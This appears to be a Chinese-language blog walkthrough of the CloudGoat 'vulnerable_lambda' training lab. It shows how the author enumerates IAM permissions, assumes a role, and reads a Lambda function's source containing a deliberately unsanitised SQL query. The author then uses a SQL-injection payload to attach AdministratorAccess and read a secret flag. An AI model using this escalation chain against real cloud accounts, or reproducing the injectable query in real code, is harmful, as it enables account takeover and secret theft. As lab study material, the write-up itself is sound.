CloudGoat (☁️🐐)靶场初体验
一个开源的云靶场:https://github.com/RhinoSecurityLabs/cloudgoat/
体验顺便学习一下📖
安装 & 配置
安装前确保机器:
- Linux or MacOS. Windows is not officially supported.
- Argument tab-completion requires bash 4.2+ (Linux, or OSX with some difficulty).
- Python3.6+ is required.
- Terraform >= 0.14 installed and in your $PATH.
- The AWS CLI installed and in your $PATH, and an AWS account with sufficient privileges to create and destroy resources.
- jq
安装流程
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r ./requirements.txt
chmod +x cloudgoat.py
然后是两步初始化
./cloudgoat.py config profile
./cloudgoat.py config whitelist --auto
cloudgoat会使用本机上 AWS CLI 的配置。编辑配置文件~/.aws/credentials,添加cloudgoat所用的AWS账户的文件段[skyblu3]

./cloudgoat.py config profile输入

第二步是配置云上可以部署的IP列表,云上没什么东西的话就直接--auto自动生成
靶场初体验
靶场搭建
cloudgoat中有17个靶场,在Github页面的Scenarios Available部分可以导航到每个靶场的详情页面。点击第一个vulnerable_lambda靶场。

靶场的文档中包含启动的命令、资源列表和攻击路径,在旁边的目录列表也可以看到生成该靶场的tf代码

接下来启动这个靶场
./cloudgoat.py create vulnerable_lambda
生成成功后拿到这个靶场的初始访问用户

现在就可以开始渗透了
渗透开始
首先看下这个靶场的总结
在此场景中,您以“bilbo”用户身份开始。您将扮演一个具有更多权限的角色,发现一个将策略应用于用户的 lambda 函数,并利用该函数中的漏洞来提升 bilbo 用户的权限以搜索秘密。
用提供的凭证登录bilbo用户

策略挖掘,可以看到用户的内联策略
aws iam list-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidi6d2661463

查看策略具体内容
aws iam get-user-policy --user-name cg-bilbo-vulnerable_lambda_cgidi6d2661463 --policy-name cg-bilbo-vulnerable_lambda_cgidi6d2661463-standard-user-assumer
{
"UserName": "cg-bilbo-vulnerable_lambda_cgidi6d2661463",
"PolicyName": "cg-bilbo-vulnerable_lambda_cgidi6d2661463-standard-user-assumer",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Resource": "arn:aws:iam::940877411605:role/cg-lambda-invoker*",
"Sid": ""
},
{
"Action": [
"iam:Get*",
"iam:List*",
"iam:SimulateCustomPolicy",
"iam:SimulatePrincipalPolicy"
],
"Effect": "Allow",
"Resource": "*",
"Sid": ""
}
]
}
}
可以看到该用户对IAM下的所有资源都有List/Get权限!同时他还可以扮演一个cg-lambda-invoker角色。列出所有IAM角色
aws iam list-roles --query "Roles[*].RoleName"
[
"AWSServiceRoleForRDS",
"AWSServiceRoleForResourceExplorer",
"AWSServiceRoleForSupport",
"AWSServiceRoleForTrustedAdvisor",
"cg-lambda-invoker-vulnerable_lambda_cgidi6d2661463",
"vulnerable_lambda_cgidi6d2661463-policy_applier_lambda1"
]
cg-lambda-invoker-vulnerable_lambda_cgidi6d2661463应该就是下一步要扮演的角色了。不过在assume之前,先看下该角色的策略。另外我对vulnerable_lambda_cgidi6d2661463-policy_applier_lambda1这个角色也挺感兴趣的(毕竟我们有iam:List*/iam:Get*)。
首先看下vulnerable_lambda_cgidi6d2661463-policy_applier_lambda1,这似乎是cloudgoat用来给靶场中的用户赋权的,同时它还有一个推送日志的权限,似乎是给CloudTrail使用的。
aws iam list-role-policies --role-name vulnerable_lambda_cgidi6d2661463-policy_applier_lambda1
aws iam get-role-policy --role-name vulnerable_lambda_cgidi6d2661463-policy_applier_lambda1 --policy-name policy_applier_lambda1

然后是cg-lambda-invoker-vulnerable_lambda_cgidi6d2661463,它包含对一个Lambda的大部分操作
aws iam list-role-policies --role-name cg-lambda-invoker-vulnerable_lambda_cgidi6d2661463
aws iam get-role-policy --role-name cg-lambda-invoker-vulnerable_lambda_cgidi6d2661463 --policy-name lambda-invoker

现在Assume这个Role
aws sts assume-role --role-arn arn:aws:iam::637423561540:role/cg-lambda-invoker-vulnerable_lambda_cgidi6d2661463 --role-session-name lambda_invoker

查看function的信息,在Code.Location位置找到函数源码的下载链接
aws lambda get-function --function-name vulnerable_lambda_cgidi6d2661463-policy_applier_lambda1

解压源码zip

打开main.py
import boto3
from sqlite_utils import Database
db = Database("my_database.db")
iam_client = boto3.client('iam')
# db["policies"].insert_all([
# {"policy_name": "AmazonSNSReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonRDSReadOnlyAccess", "public": 'True'},
# {"policy_name": "AWSLambda_ReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonS3ReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonGlacierReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonRoute53DomainsReadOnlyAccess", "public": 'True'},
# {"policy_name": "AdministratorAccess", "public": 'False'}
# ])
def handler(event, context):
target_policys = event['policy_names']
user_name = event['user_name']
print(f"target policys are : {target_policys}")
for policy in target_policys:
statement_returns_valid_policy = False
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
for row in db.query(statement):
statement_returns_valid_policy = True
print(f"applying {row['policy_name']} to {user_name}")
response = iam_client.attach_user_policy(
UserName=user_name,
PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}"
)
print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))
if not statement_returns_valid_policy:
invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " \
f"policies and don't cheat. :) "
print(invalid_policy_statement)
return invalid_policy_statement
return "All managed policies were applied as expected."
if __name__ == "__main__":
payload = {
"policy_names": [
"AmazonSNSReadOnlyAccess",
"AWSLambda_ReadOnlyAccess"
],
"user_name": "cg-bilbo-user"
}
print(handler(payload, 'uselessinfo'))
这个函数可以给一个IAM用户赋权,可用的权限就是my_database.db中public值为True的几个
AmazonSNSReadOnlyAccess
AmazonRDSReadOnlyAccess
AWSLambda_ReadOnlyAccess
AmazonS3ReadOnlyAccess
AmazonGlacierReadOnlyAccess
AmazonRoute53DomainsReadOnlyAccess
但是用于判断权限是否符合要求的SQL语句statement没有对输入进行检查,而后面用来赋权的attach_user_policy函数用的确实查询出来的row['policy_name']。那我们可以输入AdministratorAccess'-- (使用sqlite的注释)进行注入,给用户赋予一个AWS托管权限arn:aws:iam::aws:policy/AdministratorAccess。这个权限是AWS的最高权限,可以对云上的所有资源进行访问。
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"

编写payload.json
{
"policy_names": [
"AdministratorAccess'-- "
],
"user_name": "cg-bilbo-vulnerable_lambda_cgidi6d2661463"
}
调用函数权限已被设置
aws lambda invoke --function-name vulnerable_lambda_cgidi6d2661463-policy_applier_lambda1 --payload file://payload.json output && cat output

切换回原来的用户,aws configure set aws_session_token ""清空session token。查看用户的托管策略,AdministratorAccess已被成功赋予
aws iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidi6d2661463

现在我们已经可以访问云上的所有资源了!列出secret
aws secretsmanager list-secrets --query 'SecretList[*].[Name, Description, ARN]' --output json

读取flag
aws secretsmanager get-secret-value --secret-id vulnerable_lambda_cgidi6d2661463-final_flag

攻击路径
再看下靶场给的攻击路径,和我们的流程几乎一样。还是挺简单的。

解语
最后简单浏览下它的tf目录结构,这里云上每个类型的资源都用了单独的文件写。其他的就是一些必要数据源和变量输入输出。

实验结束,输入./cloudgoat.py destroy vulnerable_lambda清空资源以免产生额外的计费

画饼:学习这个项目的代码流程,重点是tf代码的编写